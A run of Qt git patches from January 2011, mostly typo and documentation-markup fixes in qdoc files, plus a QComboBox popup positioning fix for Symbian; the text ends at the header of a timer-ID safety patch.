    -    \l{Warnings Window} {Warnings} (hidden in the UI snapsot). The
    +    \l{Warnings Window} {Warnings} (hidden in the UI snapshot). The
         translation area is always visible, but the dockable subwindows
         can be activated or deactivated in the \menu{View|Views} menu, and
         dragged around by their title bars and dropped in the translation
    @@ -513,7 +513,7 @@
         \o No Translation
         \o \inlineimage linguist-check-empty.png
         \o The string does not have a translation. Click the icon to 
    -    accpet the empty translation anyway. The state is reset to  
    +    accept the empty translation anyway. The state is reset to  
         \inlineimage linguist-check-on.png
         , and the number of accepted translations in the \e{Items} column 
         of the \l{Context Window} {context list} is incremented by 1.
    @@ -567,7 +567,7 @@
     
         When \l{Translating Multiple Languages Simultaneously} {multiple
         languages} are being translated, this sequence of fields is
    -    repeated for each language. See aso \l {Changing the Target
    +    repeated for each language. See also \l {Changing the Target
         Locale}.
     
         \section2 Phrases and Guesses Window
    @@ -585,7 +585,7 @@
         translation area, or you can use the translation's \e{Guess}
         hotkey on the right. You can also press \key{F10} to move the
         focus to the Phrases and Guesses Window, then use the up and down
    -    arrow keys to find the desired translation, and and then press
    +    arrow keys to find the desired translation, and then press
         \key{Enter} to copy it to the translation area.  If you decide
         that you don't want to copy a phrase after all, press \key{Esc} to
         return the focus to the translation area.
    @@ -649,7 +649,7 @@
         {translation area} has text editing areas for both Polish and
         Japanese, and these are color-coded for easier separation.
         Second, the \l{Context Window} and the \l{Strings Window} both
    -    have two clomuns labeled \inlineimage linguist-check-obsolete.png
    +    have two columns labeled \inlineimage linguist-check-obsolete.png
         instead of one, and although it may be hard to tell, these columns
         are also color-coded with the same colors. The left-most column in
         either case applies to the top-most language area (Polish above)
    @@ -793,7 +793,7 @@
         might reverse the phrases, e.g. \c{Datei %2 wird bearbeitet, wenn
         Datei %1 fertig ist}. Both numbered arguments appear in the
         translation, but in the reverse order. \c{%i} will always be
    -    replaced by the same text in the translation stringss, regardless
    +    replaced by the same text in the translation strings, regardless
         of where argument \e{i} appears in the argument sequence in the
         source string.
     
    @@ -843,7 +843,7 @@
         are used to provide a common set of translations to help ensure consistency. 
         They can also be used to avoid duplication of effort since the translations 
         for a family of applications can be produced once in the phrase book.
    -    If the translator reaches an untranslated phrase that is the same as a
    +    If the translator reaches an non-translated phrase that is the same as a
         source phrase in a phrase book, \QL will show the
         phrase book entry in the \l {Phrases and Guesses Window}.
     
    @@ -935,7 +935,7 @@
         List on the left hand. If the path to the files has changed, you can load
         the files manually via \menu{File|Open Form...}. Double-click on an entry
         in the Forms List to display the Form File. Select \e{} from
    -    the toolbar to display the untranslated form.
    +    the toolbar to display the non-translated form.
     
         \section1 Qt Linguist Reference
     
    @@ -1027,7 +1027,7 @@
         \o \gui {Translation}
             \list
             \o \gui {Prev Unfinished Ctrl+K} \BR moves to the nearest previous
    -        unfinished source phrase (unfinished means untranslated or
    +        unfinished source phrase (unfinished means non-translated or
             translated but failed validation).
             \o \gui {Next Unfinished Ctrl+L} \BR moves to the next unfinished source
             phrase.
    @@ -1406,7 +1406,7 @@
         If a French translation is loaded, this will expand to "0 item 
         remplac\unicode{233}", "1 item remplac\unicode{233}", "2 items 
         remplac\unicode{233}s", etc., depending on \c{n}'s value. 
    -    And if no translation is loaded, the orignal string is used, with \c %n 
    +    And if no translation is loaded, the original string is used, with \c %n 
         replaced with count's value (e.g., "6 item(s) replaced").
     
         To handle plural forms in the native language, you need to load a 
    diff --git a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc
    index c2a38fd..d8ca5f9 100644
    --- a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc
    +++ b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc
    @@ -415,7 +415,7 @@
     
         \section2 Internet Security
     
    -    When exposing native object to an open web environment, it is importwhichant to understand the security
    +    When exposing native object to an open web environment, it is important to understand the security
         implications. Think whether the exposed object enables the web environment access to things that
         shouldn't be open, and whether the web content loaded by that web page comes from a trusted. In general, when
         exposing native QObjects that give the web environment access to private information or to functionality
    -- 
    cgit v0.12
    
    
    From ee9f4d82f4259a8db11a56808acab77eb21e3510 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Tue, 25 Jan 2011 13:26:29 +0100
    Subject: Doc: Fixed qdoc warning.
    
    ---
     src/plugins/bearer/icd/dbusdispatcher.cpp | 6 +++---
     1 file changed, 3 insertions(+), 3 deletions(-)
    
    diff --git a/src/plugins/bearer/icd/dbusdispatcher.cpp b/src/plugins/bearer/icd/dbusdispatcher.cpp
    index 5fc2a38..5f9be74 100644
    --- a/src/plugins/bearer/icd/dbusdispatcher.cpp
    +++ b/src/plugins/bearer/icd/dbusdispatcher.cpp
    @@ -51,10 +51,10 @@
     namespace Maemo {
     
     /*!
    -    \class DBusDispatcher
    +    \class Maemo::DBusDispatcher
     
    -    \brief DBusDispatcher is a class, which is able to send DBUS method call
    -    messages and receive unicast signals from DBUS object.
    +    \brief DBusDispatcher is a class that can send DBUS method call
    +    messages and receive unicast signals from DBUS objects.
     */
     
     class DBusDispatcherPrivate
    -- 
    cgit v0.12
    
    
    From c53832da5da7ad6cec6e809c30a06c8771bb9885 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Tue, 25 Jan 2011 13:42:22 +0100
    Subject: Doc: Fixed a broken link.
    
    ---
     doc/src/external-resources.qdoc | 5 +++++
     1 file changed, 5 insertions(+)
    
    diff --git a/doc/src/external-resources.qdoc b/doc/src/external-resources.qdoc
    index 4003e56..7639324 100644
    --- a/doc/src/external-resources.qdoc
    +++ b/doc/src/external-resources.qdoc
    @@ -453,3 +453,8 @@
         \externalpage http://www.libusb.org/
         \title libusb
     */
    +
    +/*!
    +    \externalpage http://publicsuffix.org/
    +    \title publicsuffix.org
    +*/
    -- 
    cgit v0.12
    
    
    From 422514d98ac9a6c4df36caad81e6f315f3b80086 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Tue, 25 Jan 2011 13:43:32 +0100
    Subject: Doc: Fixed broken QML code snippets.
    
    ---
     doc/src/declarative/qdeclarativeintro.qdoc        | 17 +++++++++--------
     src/declarative/util/qdeclarativexmllistmodel.cpp |  2 ++
     2 files changed, 11 insertions(+), 8 deletions(-)
    
    diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc
    index 4b7dce5..9b96d43 100644
    --- a/doc/src/declarative/qdeclarativeintro.qdoc
    +++ b/doc/src/declarative/qdeclarativeintro.qdoc
    @@ -160,19 +160,19 @@ characters other than letters, numbers and underscores.
     
     JavaScript expressions can be used to assign property values. For example:
     
    -\code
    +\qml
     Item {
         width: 100 * 3
         height: 50 + 22
     }
    -\endcode
    +\endqml
     
     These expressions can include references to other objects and properties, in which case
     a \l{Property Binding}{binding} is established: when the value of the expression changes,
     the property to which the expression is assigned is automatically updated to the
     new value. For example:
     
    -\code
    +\qml
     Item {
         width: 300
         height: 300
    @@ -183,7 +183,7 @@ Item {
             color: "yellow"
         }
     }
    -\endcode
    +\endqml
     
     Here, the \l Rectangle object's \c width property is set relative to the width
     of its parent. Whenever the parent's width changes, the width of the \l Rectangle is
    @@ -330,7 +330,7 @@ element that attaches \e property.
     For example, the \l ListView element attaches the \e ListView.isCurrentItem property
     to each delegate it creates:
     
    -\code
    +\qml
     Component {
         id: myDelegate
         Text {
    @@ -338,10 +338,13 @@ Component {
             color: ListView.isCurrentItem ? "red" : "blue"
         }
     }
    +\endqml
    +
    +\qml
     ListView {
         delegate: myDelegate
     }
    -\endcode
    +\endqml
     
     Another example of attached properties is the \l Keys element which
     attaches properties for handling key presses to
    @@ -390,6 +393,4 @@ MouseArea {
         }
     }
     \endqml
    -
    -
     */
    diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp
    index c582df1..6b13e88 100644
    --- a/src/declarative/util/qdeclarativexmllistmodel.cpp
    +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp
    @@ -96,7 +96,9 @@ typedef QPair QDeclarativeXmlListRange;
                 query: "title/string()"
             }
         }
    +    \endqml
     
    +    \qml
         ListView {
             model: xmlModel
             delegate: Text { text: title }
    -- 
    cgit v0.12
    
    
    From 67fbf125f3f96ea0ff0da66b1dd8b7dd348ca69f Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Tue, 25 Jan 2011 13:46:42 +0100
    Subject: Doc: Fixed errors in the address book tutorial.
    
    Task-number: QTBUG-16865
    ---
     doc/src/tutorials/addressbook.qdoc                   | 2 +-
     examples/tutorials/addressbook/part6/addressbook.cpp | 2 +-
     examples/tutorials/addressbook/part7/addressbook.cpp | 2 +-
     3 files changed, 3 insertions(+), 3 deletions(-)
    
    diff --git a/doc/src/tutorials/addressbook.qdoc b/doc/src/tutorials/addressbook.qdoc
    index cbc918f..ec4a4f3 100644
    --- a/doc/src/tutorials/addressbook.qdoc
    +++ b/doc/src/tutorials/addressbook.qdoc
    @@ -831,7 +831,7 @@
         \snippet tutorials/addressbook/part6/addressbook.cpp tooltip 2
     
         Although it is not shown here, just like the other features we implemented,
    -    we add the push buttons to the layout panel on the right, \c button1Layout,
    +    we add the push buttons to the layout panel on the right, \c buttonLayout1,
         and we connect the push buttons' \l{QPushButton::clicked()}{clicked()}
         signals to their respective slots.
     
    diff --git a/examples/tutorials/addressbook/part6/addressbook.cpp b/examples/tutorials/addressbook/part6/addressbook.cpp
    index 64615c7..c7dc8e2 100644
    --- a/examples/tutorials/addressbook/part6/addressbook.cpp
    +++ b/examples/tutorials/addressbook/part6/addressbook.cpp
    @@ -74,7 +74,7 @@ AddressBook::AddressBook(QWidget *parent)
     //! [tooltip 1]    
         loadButton->setToolTip(tr("Load contacts from a file"));
     //! [tooltip 1]        
    -    saveButton = new QPushButton(tr("Sa&ve..."));
    +    saveButton = new QPushButton(tr("&Save..."));
     //! [tooltip 2]
         saveButton->setToolTip(tr("Save contacts to a file"));
     //! [tooltip 2]
    diff --git a/examples/tutorials/addressbook/part7/addressbook.cpp b/examples/tutorials/addressbook/part7/addressbook.cpp
    index b04198c..501ad31 100644
    --- a/examples/tutorials/addressbook/part7/addressbook.cpp
    +++ b/examples/tutorials/addressbook/part7/addressbook.cpp
    @@ -72,7 +72,7 @@ AddressBook::AddressBook(QWidget *parent)
     
         loadButton = new QPushButton(tr("&Load..."));
         loadButton->setToolTip(tr("Load contacts from a file"));
    -    saveButton = new QPushButton(tr("Sa&ve..."));
    +    saveButton = new QPushButton(tr("&Save..."));
         saveButton->setToolTip(tr("Save contacts to a file"));
         saveButton->setEnabled(false);
     
    -- 
    cgit v0.12
    
    
    From d28b06eeaaac030901c2f8929a5628349ed1bd2e Mon Sep 17 00:00:00 2001
    From: Morten Engvoldsen 
    Date: Tue, 25 Jan 2011 14:04:09 +0100
    Subject: Doc: fixing bugs and typos based on feedback
    
    ---
     doc/src/declarative/globalobject.qdoc         | 2 +-
     doc/src/declarative/qtprogrammers.qdoc        | 2 +-
     doc/src/examples/textfinder.qdoc              | 2 +-
     doc/src/getting-started/gettingstarted.qdoc   | 2 +-
     doc/src/howtos/HWacceleration.qdoc            | 2 +-
     doc/src/howtos/restoring-geometry.qdoc        | 2 +-
     doc/src/howtos/sharedlibrary.qdoc             | 2 +-
     doc/src/modules.qdoc                          | 2 +-
     doc/src/overviews.qdoc                        | 4 ++--
     doc/src/snippets/code/doc_src_stylesheet.qdoc | 2 +-
     doc/src/windows-and-dialogs/mainwindow.qdoc   | 2 +-
     src/gui/embedded/qscreen_qws.cpp              | 2 +-
     src/gui/kernel/qgesture.cpp                   | 2 +-
     src/sql/kernel/qsqldatabase.cpp               | 2 +-
     14 files changed, 15 insertions(+), 15 deletions(-)
    
    diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc
    index 8671b48..d48b5d3 100644
    --- a/doc/src/declarative/globalobject.qdoc
    +++ b/doc/src/declarative/globalobject.qdoc
    @@ -48,7 +48,7 @@ data from over a network.
     The XMLHttpRequest API implements the same \l {http://www.w3.org/TR/XMLHttpRequest/}{W3C standard}
     as many popular web browsers with following exceptions:
     \list
    -\i QML's XMLHttpRequest does not enforce the same origin policty.
    +\i QML's XMLHttpRequest does not enforce the same origin policy.
     \i QML's XMLHttpRequest does not support \e synchronous requests.
     \endlist
     
    diff --git a/doc/src/declarative/qtprogrammers.qdoc b/doc/src/declarative/qtprogrammers.qdoc
    index 7895c9f..b7d09a1 100644
    --- a/doc/src/declarative/qtprogrammers.qdoc
    +++ b/doc/src/declarative/qtprogrammers.qdoc
    @@ -103,7 +103,7 @@ So, to implement your reusable button, you would simply build a QML component.
     
     Parent widgets each provide a generic way to interface to one or more arbitrary other widgets.
     A QTabWidget provides an interface to multiple "pages", one of which is visible at any time,
    -and a mechanism for selecting among them (the QTabBar). A QScollArea provides scrollbars around
    +and a mechanism for selecting among them (the QTabBar). A QScrollArea provides scrollbars around
     a widget that is otherwise too large to fit in available space.
     
     Nearly all such components can be created directly in QML. Only a few cases
    diff --git a/doc/src/examples/textfinder.qdoc b/doc/src/examples/textfinder.qdoc
    index 31fe785..e92bb98 100644
    --- a/doc/src/examples/textfinder.qdoc
    +++ b/doc/src/examples/textfinder.qdoc
    @@ -80,7 +80,7 @@
     
         \snippet examples/uitools/textfinder/textfinder.h 0
     
    -    The slot \c{on_find_Button_clicked()} is a slot named according to the
    +    The slot \c{on_findButton_clicked()} is a slot named according to the
         \l{Using a Designer UI File in Your Application#Automatic Connections}
         {Automatic Connection} naming convention required
         by \c uic.
    diff --git a/doc/src/getting-started/gettingstarted.qdoc b/doc/src/getting-started/gettingstarted.qdoc
    index 2b8078e..502fb65 100644
    --- a/doc/src/getting-started/gettingstarted.qdoc
    +++ b/doc/src/getting-started/gettingstarted.qdoc
    @@ -33,7 +33,7 @@
     	\section1
     	Creating applications using Qt and QML is easy enough once you get started.
     	To get you started we have created two tutorials creating two similar applications,
    -	but using diiferent approaches. One tutorial implements the user interface using
    +	but using different approaches. One tutorial implements the user interface using
     	QML, while the other implements the whole application using traditional Qt.
     	
     	Please click on the links below to start the ride.
    diff --git a/doc/src/howtos/HWacceleration.qdoc b/doc/src/howtos/HWacceleration.qdoc
    index 7cc3346..b5a4733 100644
    --- a/doc/src/howtos/HWacceleration.qdoc
    +++ b/doc/src/howtos/HWacceleration.qdoc
    @@ -27,7 +27,7 @@
     
     /*!
         \page HWAcc_rendering.html
    -    \title Hardware Acceleration & Embedded Platforms.
    +    \title Hardware Acceleration & Embedded Platforms.
         \brief How to use hardware acceleration for fast rendering.
     
         \ingroup best-practices
    diff --git a/doc/src/howtos/restoring-geometry.qdoc b/doc/src/howtos/restoring-geometry.qdoc
    index 005a29e..b3d6355 100644
    --- a/doc/src/howtos/restoring-geometry.qdoc
    +++ b/doc/src/howtos/restoring-geometry.qdoc
    @@ -28,7 +28,7 @@
     /*!
         \page restoring-geometry.html
         \title Restoring a Window's Geometry
    -    \brief How to save & restore window geometry.
    +    \brief How to save & restore window geometry.
         \ingroup best-practices
     
         This document describes how to save and restore a \l{Window
    diff --git a/doc/src/howtos/sharedlibrary.qdoc b/doc/src/howtos/sharedlibrary.qdoc
    index 5b47618..3e611b9 100644
    --- a/doc/src/howtos/sharedlibrary.qdoc
    +++ b/doc/src/howtos/sharedlibrary.qdoc
    @@ -59,7 +59,7 @@
         \endlist
     
         Now, we need to ensure that the right macro is invoked -- whether we
    -    compile a share library itself, or just the client using the shared
    +    compile a shared library itself, or just the client using the shared
         library.
         Typically, this can be solved by adding a special header.
     
    diff --git a/doc/src/modules.qdoc b/doc/src/modules.qdoc
    index 9dbf7a7..60dd028 100644
    --- a/doc/src/modules.qdoc
    +++ b/doc/src/modules.qdoc
    @@ -40,7 +40,7 @@
         \header \o {2,1} \bold{Modules for general software development}
         \row \o \l{QtCore} \o Core non-graphical classes used by other modules
         \row \o \l{QtGui} \o Graphical user interface (GUI) components
    -    \row \o \l{qtmultimedia-module.html}{QtMultimedia} \o Classes for low-level multimedia functionality
    +    \row \o \l{qtmultimedia.html}{QtMultimedia} \o Classes for low-level multimedia functionality
         \row \o \l{QtNetwork} \o Classes for network programming
         \row \o \l{QtOpenGL} \o OpenGL support classes
         \row \o \l{QtOpenVG} \o OpenVG support classes
    diff --git a/doc/src/overviews.qdoc b/doc/src/overviews.qdoc
    index 11e1f7b..f51e320 100644
    --- a/doc/src/overviews.qdoc
    +++ b/doc/src/overviews.qdoc
    @@ -42,7 +42,7 @@
         Qt is a cross-platform application and UI framework for writing
         web-enabled applications for desktop, mobile, and embedded
         operating systems. This page contains links to articles and overviews
    -	explaining key components and techniuqes used in Qt development.
    +	explaining key components and techniques used in Qt development.
     	
         \generatelist {related}
      */
    @@ -51,7 +51,7 @@
         \group qt-gui-concepts
         \title UI Design with Qt
     
    -    \brief The Qt components for constructing native look & feel desktop UI's.
    +    \brief The Qt components for constructing native look and feel desktop UI's.
     
         These pages are about Qt's traditional set of GUI components for
         building both native look & feel and custom UI's for the desktop
    diff --git a/doc/src/snippets/code/doc_src_stylesheet.qdoc b/doc/src/snippets/code/doc_src_stylesheet.qdoc
    index 49e2581..9b8a3b5 100644
    --- a/doc/src/snippets/code/doc_src_stylesheet.qdoc
    +++ b/doc/src/snippets/code/doc_src_stylesheet.qdoc
    @@ -213,7 +213,7 @@ namespace ns {
     }
     
     // ...
    -qApp->setSytleSheet("ns--MyPushButton { background: yellow; }");
    +qApp->setStyleSheet("ns--MyPushButton { background: yellow; }");
     //! [27]
     
     
    diff --git a/doc/src/windows-and-dialogs/mainwindow.qdoc b/doc/src/windows-and-dialogs/mainwindow.qdoc
    index bf3e3a8..0bf4909 100644
    --- a/doc/src/windows-and-dialogs/mainwindow.qdoc
    +++ b/doc/src/windows-and-dialogs/mainwindow.qdoc
    @@ -37,7 +37,7 @@
         \ingroup qt-gui-concepts
     
         A \l{Widgets Tutorial}{widget} that is not embedded in a parent widget is called a window.
    -    Usually, windows have a frame and a title bar, although it is also possible to create
    +    (Usually, windows have a frame and a title bar, although it is also possible to create
         windows without such decoration using suitable window flags). In Qt, QMainWindow
         and the various subclasses of QDialog are the most common window types.
     
    diff --git a/src/gui/embedded/qscreen_qws.cpp b/src/gui/embedded/qscreen_qws.cpp
    index 4656af8..e207ed1 100644
    --- a/src/gui/embedded/qscreen_qws.cpp
    +++ b/src/gui/embedded/qscreen_qws.cpp
    @@ -1768,7 +1768,7 @@ QImage::Format QScreenPrivate::preferredImageFormat() const
         This function is called by every \l{Qt for Embedded Linux}
         application on startup, and must be implemented to map in the
         framebuffer and the accelerated drivers that the graphics card
    -    control registers.  Note that coonnect must be called \e before
    +    control registers.  Note that connect must be called \e before
         the initDevice() function.
     
         Ensure that true is returned if a connection to the screen device
    diff --git a/src/gui/kernel/qgesture.cpp b/src/gui/kernel/qgesture.cpp
    index 17ede02..56daba2 100644
    --- a/src/gui/kernel/qgesture.cpp
    +++ b/src/gui/kernel/qgesture.cpp
    @@ -332,7 +332,7 @@ void QPanGesture::setAcceleration(qreal value)
     /*!
         \class QPinchGesture
         \since 4.6
    -    \brief The QPinchGesture class describes a pinch gesture made my the user.
    +    \brief The QPinchGesture class describes a pinch gesture made by the user.
         \ingroup touch
         \ingroup gestures
     
    diff --git a/src/sql/kernel/qsqldatabase.cpp b/src/sql/kernel/qsqldatabase.cpp
    index 389047d..ce9aae5 100644
    --- a/src/sql/kernel/qsqldatabase.cpp
    +++ b/src/sql/kernel/qsqldatabase.cpp
    @@ -798,7 +798,7 @@ void QSqlDatabasePrivate::init(const QString &type)
         Destroys the object and frees any allocated resources.
     
         If this is the last QSqlDatabase object that uses a certain
    -    database connection, the is automatically closed.
    +    database connection, the database connection is automatically closed.
     
         \sa close()
     */
    -- 
    cgit v0.12
    
    
    From 134c86763b99b2931de4d57db1c19411a20443cf Mon Sep 17 00:00:00 2001
    From: Morten Engvoldsen 
    Date: Tue, 25 Jan 2011 14:09:54 +0100
    Subject: Doc: Fixing typo
    
    ---
     doc/src/declarative/globalobject.qdoc | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc
    index d48b5d3..2568f81 100644
    --- a/doc/src/declarative/globalobject.qdoc
    +++ b/doc/src/declarative/globalobject.qdoc
    @@ -77,7 +77,7 @@ browser.  The following objects and properties are supported by the QML implemen
     \o lastChild
     \o previousSibling
     \o nextSibling
    -\o attribtes
    +\o attributes
     \endlist
     
     \o 
    -- 
    cgit v0.12
    
    
    From 6518b1d8f96e7a62c40a4aa23f7f00178cec9803 Mon Sep 17 00:00:00 2001
    From: Geir Vattekar 
    Date: Tue, 25 Jan 2011 16:54:20 +0100
    Subject: Doc: Fixed missing images in qt demo
    
    	Task-number: QTBUG-14274
    ---
     doc/src/demos/mediaplayer.qdoc               |   2 +-
     doc/src/examples/audiodevices.qdoc           |   2 ++
     doc/src/examples/audioinput.qdoc             |   2 ++
     doc/src/examples/audiooutput.qdoc            |   2 ++
     doc/src/examples/combowidgetmapper.qdoc      |   2 +-
     doc/src/images/audiodevices-example.png      | Bin 0 -> 25856 bytes
     doc/src/images/audioinput-example.png        | Bin 0 -> 10383 bytes
     doc/src/images/audiooutput-example.png       | Bin 0 -> 11966 bytes
     doc/src/images/combo-widget-mapper.png       | Bin 10801 -> 0 bytes
     doc/src/images/combowidgetmapper-example.png | Bin 0 -> 10801 bytes
     doc/src/images/mediaplayer-demo.png          | Bin 12868 -> 0 bytes
     doc/src/images/qmediaplayer-demo.png         | Bin 0 -> 12868 bytes
     12 files changed, 8 insertions(+), 2 deletions(-)
     create mode 100755 doc/src/images/audiodevices-example.png
     create mode 100644 doc/src/images/audioinput-example.png
     create mode 100755 doc/src/images/audiooutput-example.png
     delete mode 100644 doc/src/images/combo-widget-mapper.png
     create mode 100644 doc/src/images/combowidgetmapper-example.png
     delete mode 100644 doc/src/images/mediaplayer-demo.png
     create mode 100644 doc/src/images/qmediaplayer-demo.png
    
    diff --git a/doc/src/demos/mediaplayer.qdoc b/doc/src/demos/mediaplayer.qdoc
    index 11fc110..3eeb313 100644
    --- a/doc/src/demos/mediaplayer.qdoc
    +++ b/doc/src/demos/mediaplayer.qdoc
    @@ -32,5 +32,5 @@
         The Media Player demonstration shows how \l{Phonon Module}{Phonon}
         can be used in Qt applications to handle audio and video playback.
     
    -    \image mediaplayer-demo.png
    +    \image qmediaplayer-demo.png
     */
    diff --git a/doc/src/examples/audiodevices.qdoc b/doc/src/examples/audiodevices.qdoc
    index b812968..fd56e38 100644
    --- a/doc/src/examples/audiodevices.qdoc
    +++ b/doc/src/examples/audiodevices.qdoc
    @@ -32,6 +32,8 @@
         The Audio Devices example demonstrates the basic use of QAudioDeviceInfo class
         provided with Qt.
     
    +    \image audiodevices-example.png
    +
         Qt provides the QAudioDeviceInfo class to enable audio querying within
         a standard application user interface.
     
    diff --git a/doc/src/examples/audioinput.qdoc b/doc/src/examples/audioinput.qdoc
    index 7ca01a5..44b480f 100644
    --- a/doc/src/examples/audioinput.qdoc
    +++ b/doc/src/examples/audioinput.qdoc
    @@ -32,6 +32,8 @@
         The Audio Input example demonstrates the basic use of QAudioInput class
         provided with Qt.
     
    +    \image audioinput-example.png
    +
         Qt provides the QAudioInput class to enable audio functionality within
         a standard application user interface.
     
    diff --git a/doc/src/examples/audiooutput.qdoc b/doc/src/examples/audiooutput.qdoc
    index 358c404..1703883 100644
    --- a/doc/src/examples/audiooutput.qdoc
    +++ b/doc/src/examples/audiooutput.qdoc
    @@ -32,6 +32,8 @@
         The Audio Output example demonstrates the basic use of the QAudioOutput class
         provided with Qt.
     
    +    \image audiooutput-example.png
    +
         This example provides a tone generator to supply continuous audio playback.
         The first button allows pause and resume of the playback.
         The second button allows toggling between push and pull modes of operation.
    diff --git a/doc/src/examples/combowidgetmapper.qdoc b/doc/src/examples/combowidgetmapper.qdoc
    index 1a9bf5a..897d135 100644
    --- a/doc/src/examples/combowidgetmapper.qdoc
    +++ b/doc/src/examples/combowidgetmapper.qdoc
    @@ -32,7 +32,7 @@
         The Delegate Widget Mapper example shows how to use a custom delegate to
         map information from a model to specific widgets on a form.
     
    -    \image combo-widget-mapper.png
    +    \image combowidgetmapper-example.png
     
         In the \l{Simple Widget Mapper Example}, we showed the basic use of a
         widget mapper to relate data exposed by a model to simple input widgets
    diff --git a/doc/src/images/audiodevices-example.png b/doc/src/images/audiodevices-example.png
    new file mode 100755
    index 0000000..ae857df
    Binary files /dev/null and b/doc/src/images/audiodevices-example.png differ
    diff --git a/doc/src/images/audioinput-example.png b/doc/src/images/audioinput-example.png
    new file mode 100644
    index 0000000..fb703e6
    Binary files /dev/null and b/doc/src/images/audioinput-example.png differ
    diff --git a/doc/src/images/audiooutput-example.png b/doc/src/images/audiooutput-example.png
    new file mode 100755
    index 0000000..5588fbb
    Binary files /dev/null and b/doc/src/images/audiooutput-example.png differ
    diff --git a/doc/src/images/combo-widget-mapper.png b/doc/src/images/combo-widget-mapper.png
    deleted file mode 100644
    index 910d6ed..0000000
    Binary files a/doc/src/images/combo-widget-mapper.png and /dev/null differ
    diff --git a/doc/src/images/combowidgetmapper-example.png b/doc/src/images/combowidgetmapper-example.png
    new file mode 100644
    index 0000000..910d6ed
    Binary files /dev/null and b/doc/src/images/combowidgetmapper-example.png differ
    diff --git a/doc/src/images/mediaplayer-demo.png b/doc/src/images/mediaplayer-demo.png
    deleted file mode 100644
    index 2c1f9b4..0000000
    Binary files a/doc/src/images/mediaplayer-demo.png and /dev/null differ
    diff --git a/doc/src/images/qmediaplayer-demo.png b/doc/src/images/qmediaplayer-demo.png
    new file mode 100644
    index 0000000..2c1f9b4
    Binary files /dev/null and b/doc/src/images/qmediaplayer-demo.png differ
    -- 
    cgit v0.12
    
    
    From 208e8e87d338e8956f4dbb7243a7cc5ec6553f13 Mon Sep 17 00:00:00 2001
    From: Sami Merila 
    Date: Wed, 26 Jan 2011 14:27:35 +0200
    Subject: QComboBox popup incorrectly opened in Sym^3
    
    QCombobox popup opens into incorrect position in Sym^3. This is due
    to that there is a new layout in use, where softkeys are positioned
    at the bottom. The current implementation just checks if native stacon
    component is in use and if not, puts the popup to left/right border
    of the application area (depending on UI direction).
    
    Task-number: QTBUG-16886
    Reviewed-by: Miikka Heikkinen
    ---
     src/gui/widgets/qcombobox.cpp | 16 ++++++++++++----
     1 file changed, 12 insertions(+), 4 deletions(-)
    
    diff --git a/src/gui/widgets/qcombobox.cpp b/src/gui/widgets/qcombobox.cpp
    index 3e5f1b3..dbbf49a 100644
    --- a/src/gui/widgets/qcombobox.cpp
    +++ b/src/gui/widgets/qcombobox.cpp
    @@ -2476,10 +2476,18 @@ void QComboBox::showPopup()
                 listRect.setWidth(listRect.height());
                 //by default popup is centered on screen in landscape
                 listRect.moveCenter(screen.center());
    -            if (staConTopRect.IsEmpty() && AknLayoutUtils::CbaLocation() != AknLayoutUtils::EAknCbaLocationBottom) {
    -                // landscape without stacon, menu should be at the right
    -                (opt.direction == Qt::LeftToRight) ? listRect.setRight(screen.right()) :
    -                                                     listRect.setLeft(screen.left());
    +            if (staConTopRect.IsEmpty()) {
    +                TRect cbaRect = TRect();
    +                AknLayoutUtils::LayoutMetricsRect(AknLayoutUtils::EControlPane, cbaRect);
    +                AknLayoutUtils::TAknCbaLocation cbaLocation = AknLayoutUtils::CbaLocation();
    +                switch (cbaLocation) {
    +                case AknLayoutUtils::EAknCbaLocationRight:
    +                    listRect.setRight(screen.right());
    +                    break;
    +                case AknLayoutUtils::EAknCbaLocationLeft:
    +                    listRect.setLeft(screen.left());
    +                    break;
    +                }
                 }
             }
     #endif
    -- 
    cgit v0.12
    
    
    From d3bf6e227b353c10de3353b6072640dea59b52c0 Mon Sep 17 00:00:00 2001
    From: =?UTF-8?q?Thorbj=C3=B8rn=20Lindeijer?= 
    Date: Wed, 26 Jan 2011 12:42:49 +0100
    Subject: doc: Fixed a missing * in the docs for QML_DECLARE_TYPE
    
    It's actually equivalant to Q_DECLARE_METATYPE(TYPE *). This explains
    why it works on classes that use Q_DISABLE_COPY.
    
    Reviewed-by: David Boddie 
    ---
     doc/src/declarative/qtdeclarative.qdoc | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc
    index 05dac52..6affbf9 100644
    --- a/doc/src/declarative/qtdeclarative.qdoc
    +++ b/doc/src/declarative/qtdeclarative.qdoc
    @@ -56,7 +56,7 @@
       \macro QML_DECLARE_TYPE()
       \relates QDeclarativeEngine
     
    -  Equivalent to \c Q_DECLARE_METATYPE(TYPE) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty)
    +  Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty)
     
       #include  to use this macro.
     */
    -- 
    cgit v0.12
    
    
    From 121e2b39043a4ffc6583f250aebb9a3a746076c1 Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Mon, 13 Dec 2010 15:38:47 +0100
    Subject: Improve timer ID safety by using a serial counter per ID.
    
    The high bits of the counter are not used, so we store a serial
    counter there.
    
    This has nothing to do with the serial counter used in
    nextFreeTimerId, which is there for ABA protection.
    
    Reviewed-by: Bradley T. Hughes
    ---
     src/corelib/kernel/qabstracteventdispatcher.cpp | 30 ++++++++++++++++++++-----
     1 file changed, 24 insertions(+), 6 deletions(-)
    
    diff --git a/src/corelib/kernel/qabstracteventdispatcher.cpp b/src/corelib/kernel/qabstracteventdispatcher.cpp
    index e79f87a..cc08f092 100644
